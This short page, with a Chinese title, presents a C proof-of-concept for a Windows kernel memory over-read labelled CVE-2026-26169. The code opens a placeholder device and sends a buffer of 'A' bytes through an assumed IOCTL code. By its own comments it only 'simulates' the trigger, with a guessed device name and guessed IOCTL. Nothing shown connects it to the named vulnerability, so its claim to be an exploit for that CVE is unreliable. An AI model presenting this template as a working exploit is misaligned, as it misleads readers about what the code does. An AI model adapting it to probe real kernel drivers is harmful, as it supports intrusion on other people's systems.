CVE-2026-26169 Windows内核内存越界读取漏洞

#include <windows.h> #include <stdio.h> // PoC for CVE-2026-26169: Windows Kernel Memory Buffer Over-read // This code simulates the trigger mechanism for the vulnerability. int main() { HANDLE hDevice; char inBuffer[0x100]; DWORD bytesReturned; // Attempt to interact with the vulnerable kernel component // Replace DEVICE_NAME with the actual symbolic link if known hDevice = CreateFileA("\\\\.\\VulnerableKernelComponent", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[!] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[*] Device opened successfully.\n"); // Prepare buffer to trigger over-read memset(inBuffer, 0x41, sizeof(inBuffer)); printf("[*] Sending malicious IOCTL to trigger buffer over-read...\n"); // Send IOCTL (Assuming 0x80002010 is the vulnerable IOCTL code) BOOL result = DeviceIoControl(hDevice, 0x80002010, inBuffer, sizeof(inBuffer), NULL, 0, &bytesReturned, NULL); if (result) { printf("[+] IOCTL call succeeded. Check kernel logs for information disclosure.\n"); } else { printf("[!] IOCTL call failed. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; }